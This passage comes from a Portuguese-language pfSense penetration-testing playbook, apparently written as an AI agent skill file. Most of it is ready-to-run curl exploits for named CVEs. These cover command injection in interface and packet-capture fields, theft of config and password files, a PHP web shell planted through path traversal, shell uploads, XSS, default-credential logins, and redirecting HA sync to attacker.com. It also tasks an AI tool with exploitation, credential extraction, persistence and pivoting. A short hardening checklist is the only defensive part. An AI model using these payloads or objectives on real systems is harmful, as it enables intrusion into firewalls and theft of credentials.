| Services Status | `status_services.php` | page-status-services | Testar service enumeration |
| UPnP Status | `status_upnp.php` | page-status-upnp | Testar UPnP enumeration |
| Wireless Status | `status_wireless.php` | page-status-wireless | Testar wireless enumeration |
| NTP Status | `status_ntpd.php` | page-status-ntp | Testar NTP enumeration |
| Unbound Status | `status_unbound.php` | page-status-unbound | Testar DNS enumeration |
| Graphs | `status_graph.php` | page-status-trafficgraph | Testar traffic enumeration |
| Queues | `status_queues.php` | page-status-queues | Testar queue enumeration |
| IPsec SAD/SPD | `status_ipsec_sad.php`, `status_ipsec_spd.php` | page-status-ipsec | Testar SA enumeration |
| IPsec Leases | `status_ipsec_leases.php` | page-status-ipsec | Testar lease enumeration |
| Gateway Groups | `status_gateway_groups.php` | page-status-gateways | Testar group enumeration |
| Filter Reload | `status_filter_reload.php` | page-status-filterreload | Testar reload trigger |
| Logs (Filter, System, VPN, Packages) | `status_logs_filter.php`, etc. | page-status-logs | Testar log enumeration |
| Captive Portal Vouchers | `status_captiveportal_vouchers.php` | page-status-captiveportal | Testar voucher enumeration |
| Captive Portal Test | `status_captiveportal_test.php` | page-status-captiveportal | Testar portal test |
| Captive Portal Expire | `status_captiveportal_expire.php` | page-status-captiveportal | Testar session expire |

#### Checklist de Testes
```bash
# 1. Enumerar todos os status pages
for page in interfaces gateways carp ipsec openvpn dhcp_leases captiveportal \
            services upnp wireless ntpd unbound; do
  curl -sk -b cookies.txt https://TARGET/status_${page}.php \
    | grep -E "status|active|enabled" | head -5
done

# 2. Testar log access
curl -sk -b cookies.txt https://TARGET/status_logs_filter.php | grep -E "log|entry"

# 3. Testar DHCP lease enumeration
curl -sk -b cookies.txt https://TARGET/status_dhcp_leases.php | grep -E "mac|ip|hostname"

# 4. Testar IPsec SA enumeration
curl -sk -b cookies.txt https://TARGET/status_ipsec_sad.php | grep -E "spi|protocol"

# 5. Testar widget injection no dashboard
curl -sk -b cookies.txt https://TARGET/index.php | grep -E "widget|div"
```

---

### 10.11 High Availability (HA)

#### Features Identificadas
| Feature | Arquivo | Privilégio | Teste |
|---------|---------|------------|-------|
| CARP Status | `status_carp.php` | page-status-carp | Testar CARP enumeration |
| HA Sync Settings | `system_hasync.php` | page-system-hasync-edit | Testar sync injection |
| XMLRPC Sync | `xmlrpc_client.inc` | page-system-hasync-edit | Testar XMLRPC injection |
| pfSync | `filter.inc` | page-system-advancedfirewall | Testar state sync |

#### Checklist de Testes
```bash
# 1. Enumerar CARP status
curl -sk -b cookies.txt https://TARGET/status_carp.php | grep -E "carp|master|backup"

# 2. Testar HA sync injection
curl -sk -b cookies.txt https://TARGET/system_hasync.php \
  -d "synchronizetoip=attacker.com&password=attacker&Submit=Save"

# 3. Testar XMLRPC sync
curl -sk -b cookies.txt https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>host_firmware_version</methodName></methodCall>'

# 4. Testar CARP spoofing (rede interna)
# Enviar pacote CARP com priority maior para se tornar master
```

---

### 10.12 Widgets (Dashboard)

#### Features Identificadas
| Widget | Arquivo | Teste |
|--------|---------|-------|
| Captive Portal Status | `captive_portal_status.widget.php` | Testar CP enumeration |
| CARP Status | `carp_status.widget.php` | Testar HA enumeration |
| Disk Usage | `disks.widget.php` | Testar disk enumeration |
| DynDNS Status | `dyn_dns_status.widget.php` | Testar DDNS enumeration |
| Gateway Status | `gateways.widget.php` | Testar gateway enumeration |
| GMirror Status | `gmirror_status.widget.php` | Testar RAID enumeration |
| Installed Packages | `installed_packages.widget.php` | Testar package enumeration |
| Interface Statistics | `interface_statistics.widget.php` | Testar traffic enumeration |
| Interfaces | `interfaces.widget.php` | Testar interface enumeration |
| IPsec | `ipsec.widget.php` | Testar VPN enumeration |
| System Logs | `log.widget.php` | Testar log access |
| NTP Status | `ntp_status.widget.php` | Testar NTP enumeration |
| OpenVPN | `openvpn.widget.php` | Testar VPN enumeration |
| Picture | `picture.widget.php` | Testar image upload |
| RSS | `rss.widget.php` | Testar RSS feed injection |
| Services Status | `services_status.widget.php` | Testar service enumeration |
| SMART Status | `smart_status.widget.php` | Testar disk health |
| System Information | `system_information.widget.php` | Testar system enumeration |
| Thermal Sensors | `thermal_sensors.widget.php` | Testar sensor enumeration |
| Traffic Graphs | `traffic_graphs.widget.php` | Testar traffic enumeration |
| Wake-on-LAN | `wake_on_lan.widget.php` | Testar WoL injection |

#### Checklist de Testes
```bash
# 1. Enumerar widgets disponíveis
ls -la /usr/local/www/widgets/widgets/*.widget.php

# 2. Testar RSS widget injection
curl -sk -b cookies.txt https://TARGET/widgets/widgets/rss.widget.php \
  -d "feedurl=http://attacker.com/malicious.rss&Submit=Save"

# 3. Testar picture widget upload
curl -sk -b cookies.txt https://TARGET/widgets/widgets/picture.widget.php \
  -F "upload=@shell.php" -F "widgetkey=0"

# 4. Extrair informações via widgets
for widget in interfaces gateways carp ipsec openvpn services; do
  curl -sk -b cookies.txt https://TARGET/widgets/widgets/${widget}.widget.php \
    | grep -E "status|active|enabled"
done
```

---

### Verificação Rápida (5 minutos)
```bash
TARGET=192.168.1.1

# 1. Fingerprint
curl -skI https://$TARGET | grep -iE "server:|x-frame|hsts"

# 2. Default creds
curl -sk -c /tmp/pf.cookies -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://$TARGET/ | grep -c Logout

# 3. SNMP
snmpget -v2c -c public $TARGET sysDescr.0 2>/dev/null

# 4. Nuclei rápido
nuclei -u https://$TARGET -tags pfsense -silent -nc

# 5. SSL
testssl.sh --quiet --color 0 https://$TARGET 2>/dev/null | grep -E "CRITICAL|HIGH|MEDIUM"

# 6. CVE-2025-53392 — File Read (requer auth)
# Se tiver credenciais válidas (mesmo de baixo privilégio):
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
  -d "usernamefld=USUARIO&passwordfld=SENHA&login=Sign+In" https://$TARGET/ \
  && curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://$TARGET/diag_command.php \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b /tmp/pf.jar \
  -d "dlPath=/cf/conf/config.xml&submit=DOWNLOAD&csrf_magic=${CSRF}" \
  https://$TARGET/diag_command.php -o /tmp/pf_config.xml
file /tmp/pf_config.xml  # "XML" = sucesso; "HTML" = sem acesso
```

### Checklist de Verificação — Conformidade
```
[ ] Senha padrão admin/pfsense alterada
[ ] Acesso Web GUI restrito por IP de origem
[ ] HTTPS habilitado (não HTTP)
[ ] HSTS habilitado
[ ] Certificado válido (não auto-assinado padrão)
[ ] SSH desabilitado ou restrito por IP
[ ] SNMP desabilitado ou com community string forte + ACL
[ ] XMLRPC bloqueado na WAN
[ ] Lockout habilitado (Sistema > Avançado > Admin Access)
[ ] 2FA habilitado para Web GUI
[ ] Logging habilitado (auth + firewall)
[ ] CARP com senha configurada (se HA)
[ ] pfSync em interface dedicada e isolada
[ ] Captive portal com autenticação RADIUS (não senha local)
[ ] Pacotes de terceiros atualizados (especialmente pfBlockerNG)
[ ] Versão do pfSense atualizada (sem CVEs conhecidos)
[ ] Backup config criptografado (não em texto plano)
[ ] Regras de firewall documentadas e revisadas
[ ] Anti-lockout rule configurada apenas para IP de gestão
[ ] Privilégio page-diagnostics-command concedido apenas a admins plenos (CVE-2025-53392)
[ ] diag_command.php acessível apenas da rede de gestão (não da LAN geral)
```

---

## Integração com Skills Existentes

```
Fase 0-1 (Fingerprint/Scan):
  → /pentest-network-scanning  — Port scan com naabu/nmap

Fase 1 (Reconhecimento):
  → /pentest-intelligence-gathering  — OSINT do alvo

Fase 2-4 (Web + CVEs):
  → /pentest-vulnerability-analysis  — Análise de vulnerabilidades

Fase 2.4 (RCE):
  → /pentest-exploitation  — Exploração com metasploit/curl

Fase 8 (Pós-Exploração):
  → /pentest-post-exploitation  — Pivoting e persistência

Fase 9 (Relatório):
  → /pentest-reporting  — Geração de relatório de pentest
```

---

## Resumo das Features pfSense para Pentest

### Tabela de Referência Rápida por Categoria

| Categoria | # Features | # CVEs Associados | Prioridade |
|-----------|------------|-------------------|------------|
| Authentication | 8 | 3 | CRÍTICA |
| Firewall & NAT | 8 | 5 | ALTA |
| Network Interfaces | 11 | 2 | ALTA |
| VPN Services | 11 | 1 | MÉDIA |
| System Services | 14 | 2 | MÉDIA |
| Captive Portal | 8 | 0 | MÉDIA |
| Diagnostics | 26 | 4 | CRÍTICA |
| User Management | 17 | 2 | ALTA |
| Package Management | 5 | 6 | CRÍTICA |
| Status & Reporting | 25 | 0 | BAIXA |
| High Availability | 4 | 1 | MÉDIA |
| Widgets | 21 | 1 | BAIXA |
| **TOTAL** | **158** | **27** | - |

### Features Mais Críticas para Teste

| Rank | Feature | Arquivo | CVEs | Tipo de Teste |
|------|---------|---------|------|---------------|
| 1 | Command Execution | `diag_command.php` | CVE-2025-53392 | RCE, File Read, Upload |
| 2 | Package System | `pkg-utils.inc` | CVE-2022-31814, CVE-2022-40624 | RCE, Path Traversal |
| 3 | Interfaces GIF/GRE | `interfaces_gif/gre_edit.php` | CVE-2023-42326 | Command Injection |
| 4 | Packet Capture | `diag_packet_capture.php` | CVE-2023-48123 | Command Injection |
| 5 | Diagnostic Pages | `diag_ping/traceroute/dns.php` | CVE-2022-29272, CVE-2021-27933 | Command Injection |
| 6 | Firewall Rules | `firewall_rules_edit.php` | CVE-2023-42328 | Stored XSS |
| 7 | System/User Manager | `system_usermanager.php` | CVE-2023-42330 | Stored XSS |
| 8 | XMLRPC | `xmlrpc.php` | N/A | Auth Bypass, RCE |
| 9 | Config Backup | `diag_backup.php` | N/A | Config Download/Upload |
| 10 | HA Sync | `system_hasync.php` | N/A | Sync Injection |

### Matriz de Privilégios vs Impacto

| Privilégio | Páginas Acessíveis | Impacto Potencial |
|------------|-------------------|-------------------|
| page-diagnostics-command | `diag_command.php` | **RCE Completo** (CVE-2025-53392) |
| page-diagnostics-edit | `diag_edit.php` | File Read/Write Arbitrário |
| page-diagnostics-backup-restore | `diag_backup.php` | Download/Upload Config |
| page-system-advancedadmin | `system_advanced_admin.php` | Admin Bypass, 2FA Disable |
| page-system-hasync-edit | `system_hasync.php` | HA Sync Compromise |
| page-pkg-mgr | `pkg_mgr*.php` | Package Install (RCE) |
| page-firewall-edit | `firewall_rules_edit.php` | Firewall Rule Bypass, XSS |
| page-interfaces-edit | `interfaces*.php` | Network Config, XSS |
| page-services-captiveportal-edit | `services_captiveportal*.php` | Portal Bypass |
| page-all | Todas | **Acesso Total** |

### Checklist de Teste Rápido (30 minutos)

```bash
# 1. Fingerprint (2 min)
curl -skI https://TARGET | grep -iE "server:|pfsense"

# 2. Default Creds (2 min)
curl -sk -c /tmp/pf.jar -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/ | grep -c "Logout"

# 3. CVE-2025-53392 - File Read (5 min)
# Requer auth (mesmo low-priv)
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/diag_command.php | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b /tmp/pf.jar -d "dlPath=/cf/conf/config.xml&submit=DOWNLOAD&csrf_magic=${CSRF}" https://TARGET/diag_command.php -o config.xml

# 4. CVE-2023-42326 - Command Injection (5 min)
curl -sk -b /tmp/pf.jar https://TARGET/interfaces_gif_edit.php \
  -d "gifif=wan; id; #&giflocal=192.168.1.100&gifremote=192.168.1.1&Submit=Save"

# 5. CVE-2023-48123 - Packet Capture (5 min)
curl -sk -b /tmp/pf.jar https://TARGET/diag_packet_capture.php \
  -d "interface=wan&host=127.0.0.1; id; #&count=1&Submit=Start"

# 6. XSS em Firewall Rules (3 min)
curl -sk -b /tmp/pf.jar https://TARGET/firewall_rules_edit.php \
  -d "interface=wan&descr=<script>alert(1)</script>&type=any&Submit=Save"

# 7. Enumerar Pacotes Instalados (3 min)
curl -sk -b /tmp/pf.jar https://TARGET/pkg_mgr_installed.php | grep -E "pfBlockerNG|Suricata|Snort"

# 8. XMLRPC RCE (5 min)
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>exec_shell</methodName><params><param><value><string>id</string></value></param></params></methodCall>'

# 9. HA Sync Injection (5 min)
curl -sk -b /tmp/pf.jar https://TARGET/system_hasync.php \
  -d "synchronizetoip=attacker.com&password=attacker&Submit=Save"

# 10. Backup Config Download (5 min)
curl -sk -b /tmp/pf.jar https://TARGET/diag_backup.php -d "download=Download+Configuration" -o backup.xml
```

---

## Fase 10 — Feature-Based Testing Checklist

> **Nota:** Esta seção mapeia todas as features do pfSense identificadas via análise do código fonte. Use como checklist abrangente para testes completos.

### 10.1 Authentication & Authorization

**Features:**
- [ ] Web GUI login system
- [ ] Local user database
- [ ] User privilege levels
- [ ] Session management
- [ ] Password policies
- [ ] Account lockout mechanisms
- [ ] API authentication (XMLRPC)
- [ ] Console access

**Testing:**
```bash
# Default credentials
admin:pfsense

# Session testing
curl -sk -c cookies.txt -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/

# XMLRPC auth
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php
```

### 10.2 Firewall & NAT

**Features:**
- [ ] Firewall rules (WAN, LAN, OPT)
- [ ] NAT rules (Port Forward, Outbound, 1:1)
- [ ] Aliases (Host, Network, Port, URL Table)
- [ ] Rule scheduling
- [ ] Rule logging
- [ ] Floating rules
- [ ] Traffic shaping
- [ ] Load balancing

**Testing:**
- Test XSS in rule descriptions
- Test command injection in alias URLs
- Test rule bypass via floating rules
- Test NAT reflection issues

### 10.3 Network Interfaces

**Features:**
- [ ] WAN/LAN/OPT interfaces
- [ ] VLAN configuration
- [ ] Bridge interfaces
- [ ] LAGG (Link Aggregation)
- [ ] GIF tunnels
- [ ] GRE tunnels
- [ ] IPsec tunnels
- [ ] OpenVPN interfaces
- [ ] WireGuard interfaces
- [ ] PPPoE/PPTP/L2TP
- [ ] QINQ tagging

**Testing:**
```bash
# CVE-2023-42326 - GIF/GRE Command Injection
curl -sk -b cookies.txt https://TARGET/interfaces_gif_edit.php \
  -d "gifif=wan; <cmd>; #&giflocal=192.168.1.100&gifremote=192.168.1.1"
```

### 10.4 VPN Services

**Features:**
- [ ] IPsec (IKEv1/IKEv2)
- [ ] OpenVPN (Server/Client)
- [ ] WireGuard
- [ ] L2TP/IPsec
- [ ] PPTP (legacy)
- [ ] PPPoE server
- [ ] OpenConnect
- [ ] SSTP
- [ ] Mobile IPsec
- [ ] VPN clients
- [ ] Site-to-site tunnels

**Testing:**
```bash
# OpenVPN enumeration
nmap -sU -p 1194 --script openvpn-info TARGET

# Extract VPN credentials
grep -E "openvpn|ipsec|wireguard" /cf/conf/config.xml

# CVE-2024-57273 - OpenVPN DoS
# Requires auth - disconnect any VPN client
```

### 10.5 System Services

**Features:**
- [ ] DNS Resolver (Unbound)
- [ ] DNS Forwarder (dnsmasq)
- [ ] DHCP Server
- [ ] DHCP Relay
- [ ] NTP Server
- [ ] SNMP Agent
- [ ] Syslog Server
- [ ] UPnP/NAT-PMP
- [ ] Wake-on-LAN
- [ ] Dynamic DNS
- [ ] Load Balancer
- [ ] Proxy Server (Squid)
- [ ] Captive Portal
- [ ] Traffic Shaper

**Testing:**
```bash
# SNMP enumeration
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1

# DNS tests
dig @TARGET version.bind txt chaos
```

### 10.6 Captive Portal

**Features:**
- [ ] Portal authentication
- [ ] Voucher system
- [ ] MAC bypass
- [ ] HTTPS certificate
- [ ] RADIUS integration
- [ ] Local user database
- [ ] Traffic quotas
- [ ] Session timeout

**Testing:**
- Test bypass via MAC spoofing
- Test voucher brute force
- Test XSS in portal pages
- Test RADIUS auth bypass

### 10.7 Diagnostics & Monitoring

**Features:**
- [ ] Ping test
- [ ] Traceroute
- [ ] DNS lookup
- [ ] ARP table
- [ ] Routing table
- [ ] Packet capture
- [ ] Log viewer
- [ ] Command prompt
- [ ] PHP shell
- [ ] File manager
- [ ] Config backup/restore
- [ ] RRD graphs
- [ ] Traffic graphs
- [ ] Interface statistics
- [ ] Status logs
- [ ] Alert notifications
- [ ] Health monitoring
- [ ] Widget system
- [ ] Report generation
- [ ] Audit logs
- [ ] Flow analysis
- [ ] Deep packet inspection
- [ ] Bandwidth monitoring
- [ ] Connection tracking
- [ ] State table

**Testing:**
```bash
# CVE-2025-53392 - Arbitrary File Read
CSRF=$(curl -sk -b cookies.txt https://TARGET/diag_command.php | grep csrf_magic)
curl -sk -b cookies.txt -d "dlPath=/etc/master.passwd&submit=DOWNLOAD&csrf_magic=${CSRF}" https://TARGET/diag_command.php

# CVE-2023-48123 - Packet Capture RCE
curl -sk -b cookies.txt https://TARGET/diag_packet_capture.php \
  -d "interface=wan&host=127.0.0.1; <cmd>; #"
```

### 10.8 User Management

**Features:**
- [ ] Local users
- [ ] Local groups
- [ ] Administrator accounts
- [ ] Privilege assignment
- [ ] User settings
- [ ] Password reset
- [ ] Session timeout
- [ ] Concurrent sessions
- [ ] Login history
- [ ] API keys
- [ ] SSH keys
- [ ] Certificate auth
- [ ] TOTP/MFA
- [ ] Account expiration
- [ ] User notes
- [ ] Group membership
- [ ] Role-based access

**Testing:**
- Test privilege escalation
- Test horizontal access
- Test MFA bypass
- Test session fixation

### 10.9 Package Management

**Features:**
- [ ] Package repository
- [ ] Package installation
- [ ] Package updates
- [ ] Package removal
- [ ] Custom repositories
- [ ] Package signatures
- [ ] Dependencies
- [ ] Package logs
- [ ] Beta versions

**Common Packages:**
- [ ] pfBlockerNG
- [ ] Suricata
- [ ] Snort
- [ ] HAProxy
- [ ] Squid
- [ ] OpenVPN
- [ ] WireGuard
- [ ] ACME
- [ ] Netdata
- [ ] Zenarmor

**Testing:**
```bash
# CVE-2022-40624 - pfBlockerNG Host Header RCE
curl -k -H "Host: 127.0.0.1; <cmd>; #" https://TARGET/pfblockerng/

# CVE-2025-12490 - Suricata Path Traversal → RCE
curl -sk -b cookies.txt https://TARGET/suricata/suricata_sid_mgmt.php \
  -d "sidlist_name=../../usr/local/www/shell.php&sidlist_data=<?php system(\$_GET['c']); ?>"
```

### 10.10 Status & Reporting

**Features:**
- [ ] System logs
- [ ] Security logs
- [ ] Firewall logs
- [ ] VPN logs
- [ ] DNS logs
- [ ] DHCP logs
- [ ] Proxy logs
- [ ] Captive portal logs
- [ ] Traffic totals
- [ ] Graphs (RRD)
- [ ] Email reports
- [ ] Log export
- [ ] Log rotation
- [ ] Remote logging
- [ ] Log filtering
- [ ] Log analysis
- [ ] Alert system
- [ ] Dashboard widgets
- [ ] Custom reports
- [ ] API access
- [ ] Log correlation
- [ ] Threat intelligence
- [ ] GeoIP mapping
- [ ] Top talkers

**Testing:**
```bash
# CVE-2025-34174 - Status Traffic Totals Stored XSS
curl -sk -b cookies.txt https://TARGET/status_traffic_totals.php \
  -d "defaults=1&start-day=\"><img src=x onerror=alert(1)>"
```

### 10.11 High Availability

**Features:**
- [ ] CARP (Common Address Redundancy Protocol)
- [ ] pfsync state synchronization
- [ ] XMLRPC sync
- [ ] Configuration sync
- [ ] Failover testing
- [ ] Load balancing

**Testing:**
```bash
# XMLRPC sync testing
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>get_config</methodName></methodCall>'

# Test HA config injection
curl -sk -b cookies.txt https://TARGET/system_hasync.php \
  -d "synchronizetoip=attacker.com&password=attacker"
```

### 10.12 Dashboard Widgets

**Features (21 widgets):**
- [ ] System Information
- [ ] Interfaces
- [ ] Gateways
- [ ] Firewall Logs
- [ ] NAT Logs
- [ ] OpenVPN
- [ ] IPsec
- [ ] WireGuard
- [ ] Traffic Graph
- [ ] CPU Usage
- [ ] Memory Usage
- [ ] Disk Usage
- [ ] Load Balancer
- [ ] DynDNS Status
- [ ] UPS Status
- [ ] Temperature
- [ ] VLANs
- [ ] Services Status
- [ ] Scheduled Tasks
- [ ] Recent Alerts
- [ ] Custom Widgets

**Testing:**
- CVE-2024-54780 - Widget Key Validation Bypass
- Test XSS in widget configurations
- Test CSRF in widget actions
- Test data leakage between widgets

---

## 🤖 Integração com AIRecon para Pentest pfSense

Esta seção ensina como utilizar o **AIRecon** como ferramenta incremental no processo de pentest de pfSense, automatizando detecção, verificação de CVEs, exploração e report.

### 1. Invocação do AIRecon para pfSense

**Detecção e Reconhecimento:**
```bash
# Detecção automática de pfSense com varredura completa
airecon --target 192.168.1.1 --mode bugbounty --objective "Detect pfSense firewall, enumerate version, packages, and identify vulnerabilities"

# Varredura focada em CVEs conhecidos de pfSense
airecon --target https://firewall.local --mode asm --objective "Test for pfSense CVEs: CVE-2025-53392, CVE-2022-40624, CVE-2023-42326, CVE-2023-48123"

# Reconhecimento passivo de domínio pfSense
airecon --target pfsense.company.com --mode manual --dry-run --objective "Passive reconnaissance for pfSense firewall, subdomain enumeration, and technology detection"
```

**Testes de CVE Específicos:**
```bash
# Testar CVE-2025-53392 (File Read via diag_command.php)
airecon --target 192.168.1.1 --objective "Verify CVE-2025-53392: Arbitrary file read vulnerability in diag_command.php. Check for /diag_command.php endpoint and test file read capability"

# Testar CVE-2022-40624 (pfBlockerNG RCE)
airecon --target 192.168.1.1 --objective "Test CVE-2022-40624: pfBlockerNG package Host Header injection leading to RCE. Check for /pfblockerng/ endpoints"

# Testar CVE-2023-42326 (Command Injection via GIF/GRE)
airecon --target 192.168.1.1 --objective "Verify CVE-2023-42326: Command injection in GIF/GRE interface configuration. Check for interface configuration pages"

# Testar CVE-2023-48795 (Terrapin SSH Attack)
airecon --target 192.168.1.1 --objective "Test CVE-2023-48795: Terrapin attack on SSH service. Check SSH banner, algorithms, and chacha20-poly1305@openssh.com support"

# Testar CVE-2025-34172 a CVE-2025-34178 (Suricata/HAPProxy XSS)
airecon --target 192.168.1.1 --objective "Test stored XSS vulnerabilities in Suricata and HAProxy packages (CVE-2025-34172 through CVE-2025-34178)"
```

**Exploração Assistida:**
```bash
# Modo exploração com validação de segurança
airecon --target 192.168.1.1 --mode bugbounty --objective "Exploit verified pfSense vulnerabilities with safety checks and rollback capability"

# Post-exploitation e pivoting
airecon --target 192.168.1.1 --mode ctf --objective "Post-exploitation: enumerate internal network, extract credentials, establish persistence, pivot to internal systems"
```

### 2. Integração com Comandos Slash do AIRecon

**Comandos Slash para pfSense:**

| Comando | Descrição | Exemplo pfSense |
|---------|-----------|-----------------|
| `/naabu-scan` | Varredura de portas rápida | `/naabu-scan --target 192.168.1.1 --ports 80,443,22,2122` |
| `/sqli-test` | Teste de SQL injection | `/sqli-test --url https://TARGET/pkg.php --params query` |
| `/xss-test` | Teste de XSS | `/xss-test --url https://TARGET/status.php --payload stored` |
| `/webshell-detect` | Detecção de webshells | `/webshell-detect --target 192.168.1.1 --path /` |
| `/api-keys` | Enumeração de API keys | `/api-keys --target https://TARGET --extract` |
| `/wordlist` | Geração de wordlists | `/wordlist --type pfsense --output pfsense-urls.txt` |
| `/cve-test` | Teste de CVE específico | `/cve-test --cve CVE-2025-53392 --target 192.168.1.1` |
| `/ssh-scan` | Enumeração SSH | `/ssh-scan --target 192.168.1.1 --check-terrapin` |

**Exemplo de Uso Integrado:**
```bash
# Workflow completo de pentest pfSense
/naabu-scan --target 192.168.1.1 --top-ports 1000
# Resultado: Portas 80,443,22,2122 abertas

/xss-test --url https://192.168.1.1/status_traffic_totals.php --payload stored
# Testa CVE-2025-34174 automaticamente

/cve-test --cve CVE-2025-53392 --target 192.168.1.1
# Verifica vulnerabilidade de file read

/api-keys --target https://192.168.1.1 --extract
# Extrai API keys e credenciais da configuração

/webshell-detect --target 192.168.1.1 --path /usr/local/www/
# Detecta webshells pós-exploração
```

### 3. Integração com MCP Tools

**MCP Servers disponíveis para pfSense:**

| MCP Server | Tool | Uso em pfSense |
|------------|------|----------------|
| `cve-mcp` | `lookup_cve` | Obter detalhes de CVEs pfSense |
| `cve-mcp` | `get_epss_score` | Priorizar CVEs por EPSS |
| `cve-mcp` | `check_kev` | Verificar se CVE está em exploração ativa |
| `cve-mcp` | `check_exploit_availability` | Buscar PoCs no GitHub |
| `hexstrike-local` | `nikto_scan` | Web vulnerability scan |
| `hexstrike-local` | `nuclei_scan` | Testar templates pfSense |
| `hexstrike-local` | `sqlmap_scan` | SQL injection testing |
| `hexstrike-local` | `nmap_advanced_scan` | Port scanning com NSE |
| `hexstrike-local` | `hydra_attack` | Brute force SSH/Web |
| `virustotal` | `get_domain_report` | Reputation check |
| `pentestswarm-remote` | `scan_target` | Automated pentest flow |

**Exemplos de Uso:**

```bash
# Obter detalhes de CVE pfSense
mcp cve-mcp lookup_cve --cve_id CVE-2025-53392

# Verificar EPSS score para priorização
mcp cve-mcp get_epss_score --cve_ids CVE-2025-53392,CVE-2022-40624,CVE-2023-42326

# Verificar se está em exploração ativa (KEV)
mcp cve-mcp check_kev --cve_id CVE-2023-48795

# Buscar PoCs disponíveis
mcp cve-mcp check_exploit_availability --cve_id CVE-2022-40624

# Nikto scan focado em pfSense
mcp hexstrike-local nikto_scan --target https://192.168.1.1 --additional_args "-Tuning x+R"

# Nuclei com templates pfSense
mcp hexstrike-local nuclei_scan --target 192.168.1.1 --tags pfsense --severity critical,high

# SQLMap via hexstrike-local
mcp hexstrike-local sqlmap_scan --url https://TARGET/pkg.php --data "query=*" --additional_args "--batch --risk=3 --level=5"

# Nmap com scripts pfSense
mcp hexstrike-local nmap_advanced_scan --target 192.168.1.1 --ports 80,443,22,2122 --nse_scripts http-pfsense-detect,ssh2-enum-algos,ssl-enum-ciphers
```

### 4. Workflows de Pentest pfSense com AIRecon

**Workflow 1: Detecção → Verificação → Exploração**
```bash
# Fase 1: Detecção
airecon --target 192.168.1.1 --mode manual --dry-run \
  --objective "Detect pfSense firewall via HTTP headers, SSL cert, login page, and service banners"

# Fase 2: Enumeração de CVEs
airecon --target 192.168.1.1 --mode asm \
  --objective "Enumerate pfSense version and test for known CVEs: CVE-2025-53392, CVE-2022-40624, CVE-2023-42326, CVE-2023-48123, CVE-2023-48795"

# Fase 3: Exploração assistida
airecon --target 192.168.1.1 --mode bugbounty \
  --objective "Exploit verified vulnerabilities with safety checks. Prioritize RCE > Auth Bypass > XSS > SSRF"

# Fase 4: Post-exploitation
airecon --target 192.168.1.1 --mode ctf \
  --objective "Extract firewall config, enumerate internal network, pivot to LAN systems"
```

**Workflow 2: CVE-Specific Testing**
```bash
# Testar CVE-2025-53392 (File Read)
airecon --target 192.168.1.1 \
  --objective "Test CVE-2025-53392: Send POST to /diag_command.php with cmd=cat+/etc/passwd. Check response for passwd contents"

# Testar CVE-2022-40624 (pfBlockerNG RCE)
airecon --target 192.168.1.1 \
  --objective "Test CVE-2022-40624: Access /pfblockerng/, inject malicious Host header, verify command execution"

# Testar CVE-2023-42326 (GIF/GRE Injection)
airecon --target 192.168.1.1 \
  --objective "Test CVE-2023-42326: Navigate to interface configuration, inject command in GIF/GRE settings, verify execution"

# Testar CVE-2023-48795 (Terrapin)
airecon --target 192.168.1.1:22 \
  --objective "Test CVE-2023-48795: Check SSH algorithms for chacha20-poly1305@openssh.com and -etm@openssh.com. Calculate attack feasibility"
```

**Workflow 3: Package-Specific Testing**
```bash
# Suricata Package
airecon --target 192.168.1.1 \
  --objective "Test Suricata package for CVE-2025-34172, CVE-2025-34173, CVE-2025-34174. Check /suricata/ endpoints for XSS, CSRF, auth bypass"

# HAProxy Package
airecon --target 192.168.1.1 \
  --objective "Test HAProxy package for CVE-2025-34175, CVE-2025-34176. Check /haproxy/ endpoints for stored XSS and command injection"

# Status Traffic Totals
airecon --target 192.168.1.1 \
  --objective "Test Status_Traffic_Totals for CVE-2025-34177, CVE-2025-34178. Check /status_traffic_totals.php for XSS vulnerabilities"

# pfBlockerNG
airecon --target 192.168.1.1 \
  --objective "Test pfBlockerNG for CVE-2022-40624. Check /pfblockerng/ for Host Header injection and RCE"
```

**Workflow 4: Full Assessment**
```bash
airecon --target 192.168.1.1 --mode bugbounty \
  --objective "Full pfSense assessment: 1) Detect version/packages 2) Test all 27+ CVEs 3) Test 158 features 4) Exploit verified vulns 5) Post-exploitation 6) Generate report"
```

### 5. Auto-Skill Loading para pfSense

**Palavras-chave que disparam carregamento automático:**

| Categoria | Keywords | Skills Carregadas | MCP Tools |
|-----------|----------|-------------------|-----------|
| **Detecção** | `pfsense`, `firewall`, `netgate`, `2122` | `pentest-pfsense`, `pentest-network-scanning` | `nmap`, `rustscan`, `masscan` |
| **CVEs** | `CVE-2025-53392`, `CVE-2022-40624`, `CVE-2023-42326` | `pentest-pfsense`, `pentest-vulnerability-analysis` | `cve-mcp`, `nuclei` |
| **Packages** | `suricata`, `haproxy`, `pfblockerng`, `squid`, `openvpn` | `pentest-pfsense`, `pentest-exploitation` | `nikto`, `sqlmap` |
| **Web GUI** | `diag_command`, `status_traffic`, `interfaces`, `system` | `pentest-pfsense`, `pentest-web` | `dalfox`, `http_framework` |
| **SSH** | `ssh`, `terrapin`, `CVE-2023-48795` | `pentest-pfsense`, `pentest-network-scanning` | `nmap`, `ssh-audit` |
| **SNMP** | `snmp`, `161`, `public`, `private` | `pentest-pfsense`, `pentest-network-scanning` | `snmpwalk`, `onesixtyone` |
| **XMLRPC** | `xmlrpc`, `xml-rpc`, `ha`, `carp` | `pentest-pfsense`, `pentest-exploitation` | `curl`, `http_repeater` |
| **VPN** | `openvpn`, `ipsec`, `wireguard`, `strongswan` | `pentest-pfsense`, `pentest-network-scanning` | `ike-scan`, `openvpn-probe` |

**Exemplo de Detecção Automática:**
```
User: "Scan 192.168.1.1 for pfsense vulnerabilities"
→ Auto-load: pentest-pfsense/SKILL.md
